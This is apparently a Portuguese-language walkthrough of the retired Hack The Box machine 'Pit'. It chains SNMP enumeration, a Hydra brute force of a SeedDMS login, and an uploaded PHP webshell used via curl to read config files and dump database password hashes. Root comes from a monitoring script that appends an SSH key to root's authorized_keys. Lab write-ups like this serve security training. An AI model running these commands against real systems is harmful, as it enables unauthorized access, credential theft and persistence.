Walktrough: HTB Pit
Olá pessoal!
A máquina desta semana será Pit, outra máquina Linux classificada como mediana Hack The Box, criada por polarbearer e GibParadox.
Info: Write-ups para máquinas do Hack The Box são postados assim que as máquinas são aposentadas.
Esta máquina foi diferente das demais pois demandou enumeração UDP, não frequentemente necessário porém sempre útil quando não tem muita saída
. SNMP foi chave para enumerar e escalar privilégios nesta máquina, que tinha uma complexidade maior uma vez que possuía SELinux habilitado e não permitiu um shell interativo, até que conseguíssemos credenciais válidas do sistema, conectar via SSH e escalar privilégios.
Enumeração
Como de costume, iniciado com um scan rápido do nmap a fim de validar os serviços atualmente publicados
$ nmap -sC -sV -Pn -oA quick 10.10.10.241
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 12:15 -03
Nmap scan report for 10.10.10.241
Host is up (0.12s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
| 256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_ 256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp open http nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
9090/tcp open ssl/zeus-admin?
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 400 Bad request
| Content-Type: text/html; charset=utf8
| Transfer-Encoding: chunked
| X-DNS-Prefetch-Control: off
| Referrer-Policy: no-referrer
| X-Content-Type-Options: nosniff
| Cross-Origin-Resource-Policy: same-origin
| <!DOCTYPE html>
| <html>
| <head>
| <title>
| request
| </title>
| <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <style>
| body {
| margin: 0;
| font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
| font-size: 12px;
| line-height: 1.66666667;
| color: #333333;
| background-color: #f5f5f5;
| border: 0;
| vertical-align: middle;
| font-weight: 300;
|_ margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2020-04-16T23:29:12
|_Not valid after: 2030-06-04T16:09:12
|_ssl-date: TLS randomness does not represent time
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9090-TCP:V=7.91%T=SSL%I=7%D=8/10%Time=61129849%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,E70,"HTTP/1\.1\x20400\x20Bad\x20request\r\nContent-Type:
SF:\x20text/html;\x20charset=utf8\r\nTransfer-Encoding:\x20chunked\r\nX-DN
SF:S-Prefetch-Control:\x20off\r\nReferrer-Policy:\x20no-referrer\r\nX-Cont
SF:ent-Type-Options:\x20nosniff\r\nCross-Origin-Resource-Policy:\x20same-o
SF:rigin\r\n\r\n29\r\n<!DOCTYPE\x20html>\n<html>\n<head>\n\x20\x20\x20\x20
SF:<title>\r\nb\r\nBad\x20request\r\nd08\r\n</title>\n\x20\x20\x20\x20<met
SF:a\x20http-equiv=\"Content-Type\"\x20content=\"text/html;\x20charset=utf
SF:-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=de
SF:vice-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<style>\n\tbody\x
SF:20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20margin:\x200;\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\x20\"RedHatDi
SF:splay\",\x20\"Open\x20Sans\",\x20Helvetica,\x20Arial,\x20sans-serif;\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-size:\x2012px;\n\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20line-height:\x201\.6666666
SF:7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20color:\x20#333333;\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20background-color:\x20#
SF:f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20border:\
SF:x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20vertical-align:\
SF:x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-w
SF:eight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20p\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20mar
SF:gin:\x200\x200\x2010p")%r(HTTPOptions,E70,"HTTP/1\.1\x20400\x20Bad\x20r
SF:equest\r\nContent-Type:\x20text/html;\x20charset=utf8\r\nTransfer-Encod
SF:ing:\x20chunked\r\nX-DNS-Prefetch-Control:\x20off\r\nReferrer-Policy:\x
SF:20no-referrer\r\nX-Content-Type-Options:\x20nosniff\r\nCross-Origin-Res
SF:ource-Policy:\x20same-origin\r\n\r\n29\r\n<!DOCTYPE\x20html>\n<html>\n<
SF:head>\n\x20\x20\x20\x20<title>\r\nb\r\nBad\x20request\r\nd08\r\n</title
SF:>\n\x20\x20\x20\x20<meta\x20http-equiv=\"Content-Type\"\x20content=\"te
SF:xt/html;\x20charset=utf-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\
SF:"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\n\x20\x20\x
SF:20\x20<style>\n\tbody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20fon
SF:t-family:\x20\"RedHatDisplay\",\x20\"Open\x20Sans\",\x20Helvetica,\x20A
SF:rial,\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20f
SF:ont-size:\x2012px;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20lin
SF:e-height:\x201\.66666667;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20color:\x20#333333;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0background-color:\x20#f5f5f5;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20img\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20border:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20vertical-align:\x20middle;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\
SF:x20\x20\x20\x20\x20\x20\x20\x20h1\x20{\n\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20font-weight:\x20300;\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:}\n\x20\x20\x20\x20\x20\x20\x20\x20p\x20{\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20margin:\x200\x200\x2010p");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 213.97 seconds
Com base no resultado do scan, notado que existe um DNS dms-pit.htb configurado em um certificado SSL, que foi configurado no arquivo hosts local.
80/TCP e 9090/TCP - Serviços HTTP
Acessando as páginas, podemos ver na URI http://10.10.10.241:80 a página padrão do nginx enquanto para https://10.10.10.241:9090 vemos a página de login do Cockpit Project — Cockpit Project (cockpit-project.org).
Cockpit é uma interface web para administração Linux e, como o nome da máquina é parte do nome da solução, devo estar no caminho correto . O domínio pit.htb é mencionado como nome da máquina, também incluído no arquivo hosts local.
Buscando por vulnerabilidades para este produto, encontrei uma vulnerabilidade para SSRF na versão 234 a partir de uma pesquina no searchsploit, que poderia de alguma forma ser útil uma vez que não depende de nenhuma credencial.
$ searchsploit cockpit
---------------------------------------------------------------------- ----------------------------
Exploit Title | Path
---------------------------------------------------------------------- ----------------------------
Cockpit CMS 0.4.4 < 0.5.5 - Server-Side Request Forgery | php/webapps/44567.txt
Cockpit CMS 0.6.1 - Remote Code Execution | php/webapps/49390.txt
Cockpit Version 234 - Server-Side Request Forgery (Unauthenticated) | multiple/webapps/49397.txt
openITCOCKPIT 3.6.1-2 - Cross-Site Request Forgery | php/webapps/47305.py
---------------------------------------------------------------------- ----------------------------
Shellcodes: No Results
$ head $(locate multiple/webapps/49397.txt)
# Exploit Title: Cockpit Version 234 - Server-Side Request Forgery (Unauthenticated)
# Date: 08.01.2021
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://cockpit-project.org/
# Version: v234
# Tested on: Ubuntu 18.04
#!/usr/bin/python3
import argparse
import requests
Lendo a respeito da vulnerabilidade nesta página do Github podemos ver que ela pode ser utilizada para enumerar e acessar conteúdo que normalmente não teriamos acesso a partir de nosso host ou das portas de comunicação disponíveis, podendo ser útil em um segundo momento mas que agora não ajudará muito.
Avançando com a enumeração agora utilizando o whatweb, para agilizar um pouco as coisas criei um script bash simples que faz um loop nos dominios encontrados e endereço IP e portas de modo a buscar alguma diferneça nas publicações e o que temos em cada combinação
#!/bin/bash
declare -a hosts=("10.10.10.241" "pit.htb" "dms-pit.htb");
declare -a ports=("80" "9090");
for host in "${hosts[@]}"; do
for port in "${ports[@]}"; do
whatweb --color=never -a 3 "$host:$port" >> whatweb_enum.txt
done
done
Avaliando os resultados, encontrei algo interessante: quando acessamos o domínio dms-pit.htb recebemos um erro 403 Forbidden, cenário ideal para usar a vulnerabilidade de SSRF no Cockpit, se presente
http://dms-pit.htb/ [403 Forbidden] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.1], IP[10.10.10.241], Title[403 Forbidden], nginx[1.14.1]
Após alguns testes com a PoC encontrada, notei que a opção “Connect to” mencionada nas notas encontradas não estava presente. Também, inspecionando os videos, notei que a versão que utilizamos foi atualizada e não mais vulneravel, o que também foi confirmado realizando alguns acessos em /cockpit sem sucesso 
.
Reiniciei o processo de enumeração, executando o nmap em todas as portas TCP e também executando um scan rápido UDP, buscando por algo que tenha deixado para trás na fase inicial. Também iniciei uma enumeração de diretórios com o gobuster diretamente no endereço IP ( http://10.10.10.241) para buscar algum website neste servidor publicado.
Após alguma espera, infelizmente o scan de diretórios com gobuster e o scan de todas as portas TCP com nmap não apresentaram resultado algum. Surpreendentemente o scan UDP retornou duas portas, conforme abaixo:
$ sudo nmap -sU -sV -vv -oA quick_udp 10.10.10.241
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 13:53 -03
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 13:53
Scanning 10.10.10.241 [4 ports]
Completed Ping Scan at 13:53, 0.10s elapsed (1 total hosts)
Initiating UDP Scan at 13:53
Increasing send delay for 10.10.10.241 from 800 to 1000 due to 37 out of 121 dropped probes since last increase.
Warning: 10.10.10.241 giving up on port because retransmission cap hit (10).
Nmap scan report for dms-pit.htb (10.10.10.241)
Host is up, received echo-reply ttl 63 (0.16s latency).
Scanned at 2021-08-10 13:53:34 -03 for 1081s
Not shown: 998 filtered ports
Reason: 979 admin-prohibiteds and 19 host-unreaches
PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response SNMPv1 server; net-snmp SNMPv3 server (public)
20762/udp open|filtered unknown no-response
Service Info: Host: pit.htb
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
161/UDP - SNMP Service
Dos resultados encontrados, iniciado com o SNMP, onde executei o comando snmp-check e pude obter informações básicas do sistema porém nenhum segredo ou dado sensível foi exibido.
snmp-check 10.10.10.241
Usando outra ferramenta, o snmpwalk como recomendado nesta página, notei que a ferramenta pode enumerar OIDs (Object Identifiers) específicos mas, com os dados que temos, nenhuma informação relevante estava sendo listada mas nos permitiu listar as contas presentes no sistema, além de outras informações já anteriormente listadas.
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: Memory usage
total used free shared buff/cache available
Mem: 3.8Gi 345Mi 3.1Gi 8.0Mi 452Mi 3.2Gi
Swap: 1.9Gi 0B 1.9Gi
Database status
OK - Connection to database successful.
System release info
CentOS Linux release 8.3.2011
SELinux Settings
user
Labeling MLS/ MLS/
SELinux User Prefix MCS Level MCS Range SELinux Roles
guest_u user s0 s0 guest_r
root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
user_u user s0 s0 user_r
xguest_u user s0 s0 xguest_r
login
Login Name SELinux User MLS/MCS Range Service
__default__ unconfined_u s0-s0:c0.c1023 *
michelle user_u s0 *
root unconfined_u s0-s0:c0.c1023 *
System uptime
13:33:08 up 37 min, 0 users, load average: 0.19, 0.10, 0.18
Buscando conhecer mais como enumerar serviços SNMP, encontrei a página SNMP:Comandos – snmpwalk – LRodrigo – Web Site (lncc.br) que fala sobre alguns comandos úteis enquanto utilizamos o snmpwalk. O fato interessante é que, se você especificar o OID até um certo ponto, a ferramenta lista toda informação abaixo daquele nó, uma vez que o SNMP funciona em uma estrutura de árvore conforme imagem abaixo, extraída de Wikimedia.org:
Uma vez que o root (em vermelho na imagme) nunca muda, decidi executar o snmpwalk mais uma vez mas especificando diretamente o ponto onde gostaria de inspecionar, que é logo a partir do root (.1) e filtrei os valores em ranco, utilizando o comando abaixo:
snmpwalk -v 1 -c public 10.10.10.241 .1 | grep -v -e "\"\"$"
As coisas começaram a ficar interessantes onde, logo após a lista dos processos, um OID .1.3.6.1.4.1.2021 exibia informações sobre configuração do nginx, antes não mostrado nos comandos executados anteriormente, e que em uma as linhas mencionava o caminho /var/www/html/seeddms51x/seeddms
iso.3.6.1.4.1.2021.2.1.1.1 = INTEGER: 1
iso.3.6.1.4.1.2021.2.1.2.1 = STRING: "nginx"
iso.3.6.1.4.1.2021.2.1.3.1 = INTEGER: 1
iso.3.6.1.4.1.2021.2.1.4.1 = INTEGER: 0
iso.3.6.1.4.1.2021.2.1.5.1 = INTEGER: 3
iso.3.6.1.4.1.2021.2.1.100.1 = INTEGER: 0
iso.3.6.1.4.1.2021.2.1.102.1 = INTEGER: 0
iso.3.6.1.4.1.2021.9.1.1.1 = INTEGER: 1
iso.3.6.1.4.1.2021.9.1.1.2 = INTEGER: 2
iso.3.6.1.4.1.2021.9.1.2.1 = STRING: "/"
iso.3.6.1.4.1.2021.9.1.2.2 = STRING: "/var/www/html/seeddms51x/seeddms"
iso.3.6.1.4.1.2021.9.1.3.1 = STRING: "/dev/mapper/cl-root"
iso.3.6.1.4.1.2021.9.1.3.2 = STRING: "/dev/mapper/cl-seeddms"
iso.3.6.1.4.1.2021.9.1.4.1 = INTEGER: 10000
iso.3.6.1.4.1.2021.9.1.4.2 = INTEGER: 100000
iso.3.6.1.4.1.2021.9.1.5.1 = INTEGER: -1
iso.3.6.1.4.1.2021.9.1.5.2 = INTEGER: -1
iso.3.6.1.4.1.2021.9.1.6.1 = INTEGER: 2611200
iso.3.6.1.4.1.2021.9.1.6.2 = INTEGER: 125600
iso.3.6.1.4.1.2021.9.1.7.1 = INTEGER: 374736
Retornei para o browser e tentei algumas combinações de dominios com o caminho virtual provável, onde obtive acesso ao endereço http://dms-pit.htb/seeddms51x/seeddms onde o portal do SeedDMS se encontrava disponível.
Acesso inicial
Dando uma rápida busca no searchsploit encontrei alguns exploits para este app, porém todos estes dependiam de uma conta para funcionamento.
$ searchsploit seeddms
---------------------------------------------------------------------- ----------------------------
Exploit Title | Path
---------------------------------------------------------------------- ----------------------------
Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated) | php/webapps/50062.py
SeedDMS 5.1.18 - Persistent Cross-Site Scripting | php/webapps/48324.txt
SeedDMS < 5.1.11 - 'out.GroupMgr.php' Cross-Site Scripting | php/webapps/47024.txt
SeedDMS < 5.1.11 - 'out.UsrMgr.php' Cross-Site Scripting | php/webapps/47023.txt
SeedDMS versions < 5.1.11 - Remote Command Execution | php/webapps/47022.txt
---------------------------------------------------------------------- ----------------------------
Shellcodes: No Results
Já que temos os nomes dos usuários e metade da resposta é o nome de usuário, obtidos a partir da execução usando snmpwalk em que michelle foi encontrado, podemos tentar adivinhá-los ou realizar um brute force com o hydra, método escolhido e que retornou a senha igual ao nome de usuário:
$ hydra -l michelle -P /usr/share/wordlists/rockyou.txt dms-pit.htb http-post-form "/seeddms51x/seeddms/op/op.Login.php:login=^USER^&pwd=^PASS^&lang=:Error" -t 10
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-10 16:05:20
[DATA] max 10 tasks per 1 server, overall 10 tasks, 14344399 login tries (l:1/p:14344399), ~1434440 tries per task
[DATA] attacking http-post-form://dms-pit.htb:80/seeddms51x/seeddms/op/op.Login.php:login=^USER^&pwd=^PASS^&lang=:Error
[80][http-post-form] host: dms-pit.htb login: michelle password: michelle
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-08-10 16:05:24
Já que temos agora uma credencial para o SeedDMS, podemos explorar a vulnerabilidade, que nos permitiu, logo após o upload de um documento php ( neste caso contendo um webshell - <?php system($_GET["cmd"]); ?>), obter execução remota de código a partir de chamadas utilizando curl com base no document ID identificado após o upload, neste caso 31:
$ curl -X GET -G 'http://dms-pit.htb/seeddms51x/data/1048576/31/1.php' --data-urlencode 'cmd=id'
uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0
User flag
Mesmo tendo execução remota de código na máquina, todas as tentativas de shell reverso falharam. Tentei vários métodos (bash, python, payload externo, etc) e nenhum deles funcionou, possivelmente devido ao SELinux ativo na máquina. Com base nisso, decidi enumerar a máquina a partir deste canal.
Validando o repositório do SeedDMS no GitHub, identifiquei que existe um arquivo /conf/settings.xml que contém as credenciais para o banco de dados, que poderiam ser reutilizadas por outros usuários no sistema.
$ curl -X GET -G 'http://dms-pit.htb/seeddms51x/data/1048576/33/1.php' --data-urlencode 'cmd=cat /var/www/html/seeddms51x/conf/settings.xml' | grep database
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 11933 0 11933 0 0 77993 0 --:--:-- --:--:-- --:--:-- 77993
<edition strictFormCheck="false" viewOnlineFileTypes=".txt;.text;.html;.htm;.xml;.pdf;.gif;.png;.jpg;.jpeg" enableConverting="true" enableEmail="true" enableUsersView="true" enableFullSearch="true" enableClipboard="false" enableFolderTree="true" expandFolderTree="1" enableLanguageSelector="true" stopWordsFile="" sortUsersInList="" enableDropUpload="false" enableRecursiveCount="false" maxRecursiveCount="0" enableThemeSelector="false" fullSearchEngine="sqlitefts" sortFoldersDefault="u" editOnlineFileTypes="" enableMenuTasks="false" enableHelp="false" defaultSearchMethod="database" libraryFolder="0" maxSizeForFullText="0" showSingleSearchHit="false" enableSessionList="false" enableDropFolderList="false" enableMultiUpload="false" defaultDocPosition="end">
- restricted: Restricted access: only allow users to log in if they have an entry in the local database (irrespective of successful authentication with LDAP).
- dbDatabase: database where the tables for seeddms are stored (optional - see adodb-readme)
- dbUser: username for database-access
- dbPass: password for database-access
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">
</database>
Utilizando o mysql via linha de comando, enumerei tabelas, colunas e, por fim, usuários e hashes de senhas utilizando as credenciais obtidas:
# List Tables
$ curl -X GET -G 'http://dms-pit.htb/seeddms51x/data/1048576/30/1.php' --data-urlencode 'cmd=mysql -u seeddms --password=ied^ieY6xoquu -e "use seeddms; select login,pwd,role from tblUsers; exit"'
[...]
# List Columns from tblUsers
$ curl -X GET -G 'http://dms-pit.htb/seeddms51x/data/1048576/34/1.php' --data-urlencode 'cmd=mysql -u seeddms --password=ied^ieY6xoquu -e "use seeddms; show columns from tblUsers; exit"'
[...]
# Dump credentials
$ curl -X GET -G 'http://dms-pit.htb/seeddms51x/data/1048576/30/1.php' --data-urlencode 'cmd=mysql -u seeddms --password=ied^ieY6xoquu -e "use seeddms; select login,pwd,role from tblUsers; exit"'
login pwd role
admin 155dd275b4cb74bd1f80754b61148863 1
guest NULL 2
michelle 2345f10bb948c5665ef91f6773b3e455 0
jack 682d305fdaabc156430c4c6f6f5cc65d 0
Com estes hashes, tentei quebrá-los utilizando john e o dicionário rockyou.txt, porém sem sucesso.
Como temos as credenciais de banco de dados, lembrei que poderiamos utilizá-las para acessar a console interativa via Cockpit, onde as credenciais do usuário seeddms falharam mas funcionou com sucesso para a usuária michelle.
Acessando o terminal via portal web, fui capaz de acessar o conteúdo do arquivo user.txt e obter a flag
[michelle@pit ~]$ ls
check.sh user.txt
[michelle@pit ~]$ cat user.txt
<redacted>
Root flag
Após submeter a flag, fui incapaz de executar sudo -l como executado de costume, logo iniciei a enumeração a partir da conta da usuária michelle utilizando o linpeas.sh, onde nada de muito interessante foi listado além de um privilégio não usual num arquivo também não padrão do Linux:
╔══════════╣ Files with ACLs (limited to 50)
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#acls
# file: /usr/local/monitoring
USER root rwx
user michelle -wx
GROUP root rwx
mask rwx
other ---
Inspecionando este arquivo, na verdade descobri que se tratava de um diretório, o qual não temos acesso de leitura (apenas escrita e execução vide output acima). Buscando por outros arquivos que fizessem referência a este diretório, executei um grep recursivo no sistema, onde encontrei um arquivo previamente observado no scan do snmpwalk.
[michelle@pit local]$ grep -r "/usr/local/monitoring/" / 2>/dev/null
/usr/bin/monitor:for script in /usr/local/monitoring/check*sh
[michelle@pit local]$ cat /usr/bin/monitor
#!/bin/bash
for script in /usr/local/monitoring/check*sh
do
/bin/bash $script
done
[michelle@pit local]$
Como podemos ver, este script executa quaisquer arquivos com nome check*.sh do diretório /usr/local/monitoring, permitindo, que qualquer comando arbitrário seja executado a partir do processo que inicializa o script /usr/bin/monitor.
Para melhor entendimento de como poderia usar este privilégio encontrado, decidi buscar dentro do recon já realizado menções ao arquivo monitor, onde encontrei uma referência nos scans do SNMP onde este arquivo se encontra configurado como nsExtendedCommands.
$ grep -r "/usr/bin/monitor" .
./scans/snmpwalk_nsExtendObjects.txt:NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
./scans/snmp_full.txt:iso.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: "/usr/bin/monitor"
De acordo com o guia em SNMP RCE - HackTricks, se algum componente estiver configurado como nsExtendedCommand (ou for capaz de adicionar algum binário arbitrariamente dentre estas configurações), você pode inicializar a sua execução utilizando o snmpwalk.
Com base nas informações levantadas, temos uma possível forma de obter acesso root, onde os seguintes passos foram utilizados:
-
Criei um arquivo
checkXXXX.sh, que adiciona uma chave pública como confiável dentro do arquivoauthorized_keysdo perfil que executa o processo e copiado para/usr/bin/monitor.#!/bin/bash echo "ssh-rsa <base64PubKey> root@kali" >> ~/.ssh/authorized_keys -
A partir da máquina do atacante, iniciei a ação para executar as ações nsExtendedObject
# Trigger Extended objects snmpwalk -v 1 -c public 10.10.10.241 NET-SNMP-EXTEND-MIB::nsExtendObjects -
Após este ponto, consegui me conectar utilizando a chave privada correspondente via SSH com a conta do usuário
root, onde consegui obter a flag final.
$ ssh -i pit root@10.10.10.241
Web console: https://pit.htb:9090/
Last login: Tue Aug 10 14:50:51 2021 from 10.10.10.10
[root@pit ~]# id && hostname
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
pit.htb
[root@pit ~]# cat root.txt
<redacted>
[root@pit ~]#
Espero que tenham gostado!
Vejo vocês no próximo posts
